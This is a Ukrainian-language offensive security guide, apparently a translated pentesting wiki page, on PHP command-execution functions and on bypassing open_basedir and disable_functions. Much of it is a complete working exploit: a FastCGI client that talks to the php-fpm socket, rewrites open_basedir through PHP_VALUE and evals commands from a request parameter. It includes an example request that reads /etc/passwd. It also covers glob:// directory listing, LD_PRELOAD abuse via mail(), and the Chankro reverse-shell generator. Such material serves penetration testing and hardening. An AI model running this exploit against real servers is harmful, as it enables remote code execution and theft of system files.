pcntl_exec - Виконує програму (за замовчуванням у сучасному та не дуже сучасному PHP вам потрібно завантажити модуль pcntl.so, щоб використовувати цю функцію)
mail / mb_send_mail - Ця функція використовується для відправки листів, але її також можна зловживати для ін'єкції довільних команд у параметр $options. Це пов'язано з тим, що php mail функція зазвичай викликає бінарний файл sendmail у системі, і це дозволяє вам додавати додаткові параметри. Однак ви не зможете побачити вихід виконаної команди, тому рекомендується створити shell-скрипт, який записує вихід у файл, виконати його за допомогою mail і вивести вихід:
dl - Ця функція може бути використана для динамічного завантаження розширення PHP. Ця функція не завжди буде присутня, тому вам слід перевірити, чи вона доступна, перш ніж намагатися її експлуатувати. Прочитайте цю сторінку, щоб дізнатися, як експлуатувати цю функцію.
Виконання коду PHP
Окрім eval, є й інші способи виконання коду PHP: include/require можуть бути використані для віддаленого виконання коду у формі вразливостей Local File Include та Remote File Include.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Вимкнені функції - це налаштування, яке можна налаштувати в .ini файлах у PHP, що забороняє використання вказаних функцій. Open basedir - це налаштування, яке вказує PHP папку, до якої він може отримати доступ.
Налаштування PHP потрібно налаштувати в шляху /etc/php7/conf.d або подібному.
Обидва налаштування можна побачити в виході phpinfo():
open_basedir Bypass
open_basedir налаштує папки, до яких PHP може отримати доступ, ви не зможете записувати/читати/виконувати жоден файл поза цими папками, але також ви навіть не зможете перерахувати інші каталоги.
Однак, якщо якимось чином ви зможете виконати довільний PHP код, ви можете спробувати наступний фрагмент кодів, щоб спробувати обійти обмеження.
Перерахування каталогів з glob:// обхід
У цьому першому прикладі використовується протокол glob:// з деяким обходом шляху:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Note1: У шляху ви також можете використовувати /e??/* для переліку /etc/* та будь-якої іншої папки.
Note2: Здається, що частина коду дублюється, але це насправді необхідно!
Note3: Цей приклад корисний лише для переліку папок, а не для читання файлів.
Повний обхід open_basedir з використанням FastCGI
Якщо ви хочете дізнатися більше про PHP-FPM та FastCGI, ви можете прочитати першу секцію цієї сторінки.
Якщо php-fpm налаштовано, ви можете зловживати ним, щоб повністю обійти open_basedir:
Зверніть увагу, що перше, що вам потрібно зробити, це знайти, де знаходиться unix socket php-fpm. Він зазвичай знаходиться під /var/run, тому ви можете використати попередній код для переліку каталогу та знайти його.
Код з тут.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request =$this->buildPacket(self::BEGIN_REQUEST,chr(0).chr(self::RESPONDER).chr((int) $this->_keepAlive).str_repeat(chr(0),5));$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Ці скрипти будуть спілкуватися з unix socket php-fpm (зазвичай розташованим у /var/run, якщо використовується fpm), щоб виконати довільний код. Налаштування open_basedir буде перезаписано атрибутом PHP_VALUE, який надсилається.
Зверніть увагу, як eval використовується для виконання PHP коду, який ви надсилаєте в параметрі cmd.
Також зверніть увагу на закоментований рядок 324, ви можете його розкоментувати, і payload автоматично підключиться до вказаного URL і виконає PHP код, що міститься там.
Просто отримайте доступ до http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');, щоб отримати вміст файлу /etc/passwd.
Ви, можливо, думаєте, що так само, як ми перезаписали конфігурацію open_basedir, ми можемо перезаписати disable_functions. Що ж, спробуйте це, але це не спрацює, очевидно, disable_functions можна налаштувати лише в файлі конфігурації .ini php, і зміни, які ви виконуєте за допомогою PHP_VALUE, не будуть ефективними для цього конкретного налаштування.
Обхід disable_functions
Якщо вам вдалося виконати PHP код на машині, ви, напевно, хочете перейти на наступний рівень і виконати довільні системні команди. У цій ситуації зазвичай виявляється, що більшість або всі PHP функції, які дозволяють виконувати системні команди, були вимкнені в disable_functions.
Отже, давайте подивимося, як ви можете обійти це обмеження (якщо зможете)
Автоматичне виявлення обходу
Ви можете використовувати інструмент https://github.com/teambi0s/dfunc-bypasser, і він вкаже вам, яка функція (якщо така є) може бути використана для обходуdisable_functions.
Обхід за допомогою інших системних функцій
Просто поверніться на початок цієї сторінки і перевірте, чи не вимкнена жодна з функцій виконання команд і доступна в середовищі. Якщо ви знайдете хоча б одну з них, ви зможете використовувати її для виконання довільних системних команд.
Обхід LD_PRELOAD
Добре відомо, що деякі функції в PHP, такі як mail(), будуть виконувати бінарники в системі. Тому ви можете зловживати ними, використовуючи змінну середовища LD_PRELOAD, щоб змусити їх завантажити довільну бібліотеку, яка може виконати що завгодно.
Функції, які можна використовувати для обходу disable_functions з LD_PRELOAD
mail
mb_send_mail: Ефективно, коли встановлений модуль php-mbstring.
imap_mail: Працює, якщо присутній модуль php-imap.
libvirt_connect: Потребує модуль php-libvirt-php.
gnupg_init: Можна використовувати з встановленим модулем php-gnupg.
new imagick(): Цей клас можна зловживати для обходу обмежень. Детальні техніки експлуатації можна знайти в комплексному описі тут.
Ви можете знайти тут скрипт для фуззингу, який використовувався для виявлення цих функцій.
Ось бібліотека, яку ви можете скомпілювати, щоб зловживати змінною середовища LD_PRELOAD:
Щоб зловживати цією неправильна конфігурацією, ви можете Chankro. Це інструмент, який генерує PHP експлойт, який вам потрібно завантажити на вразливий сервер і виконати його (доступ через веб).
Chankro запише на диск жертви бібліотеку та реверс-шелл, яку ви хочете виконати, і використає LD_PRELOAD трюк + PHP mail() функцію для виконання реверс-шеллу.
Зверніть увагу, що для використання Chankro, mail та putenvне можуть з'являтися в списку disable_functions.
У наступному прикладі ви можете побачити, як створити експлойт chankro для arch 64, який виконає whoami і збереже вихід у /tmp/chankro_shell.out, chankro запише бібліотеку та корисне навантаження в /tmp і кінцевий експлойт буде називатися bicho.php (це файл, який вам потрібно завантажити на сервер жертви):
Зверніть увагу, що за допомогою PHP ви можете читати та записувати файли, створювати каталоги та змінювати дозволи.
Ви навіть можете вивантажувати бази даних.
Можливо, використовуючи PHP для перерахунку системи, ви зможете знайти спосіб підвищити привілеї/виконати команди (наприклад, прочитати деякий приватний ssh ключ).
Ці функції приймають параметр рядка, який може бути використаний для виклику функції на вибір атакуючого. Залежно від функції, атакуючий може або не може мати можливість передати параметр. У цьому випадку можна використовувати функцію розкриття інформації, таку як phpinfo().
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Інформаційна витік
Більшість з цих викликів функцій не є "синками". Але це може бути вразливістю, якщо будь-які з повернених даних видимі для зловмисника. Якщо зловмисник може бачити phpinfo(), це безумовно є вразливістю.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Функції файлової системи
Згідно з RATS, всі функції файлової системи в php є неприємними. Деякі з них не здаються дуже корисними для атакуючого. Інші є більш корисними, ніж ви могли б подумати. Наприклад, якщо allow_url_fopen=On, то URL може бути використаний як шлях до файлу, тому виклик copy($_GET['s'], $_GET['d']); може бути використаний для завантаження PHP-скрипта в будь-яке місце системи. Також, якщо сайт вразливий до запиту, надісланого через GET, кожна з цих функцій файлової системи може бути зловжита для перенаправлення атаки на інший хост через ваш сервер.
Запис у файлову систему (частково в поєднанні з читанням)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir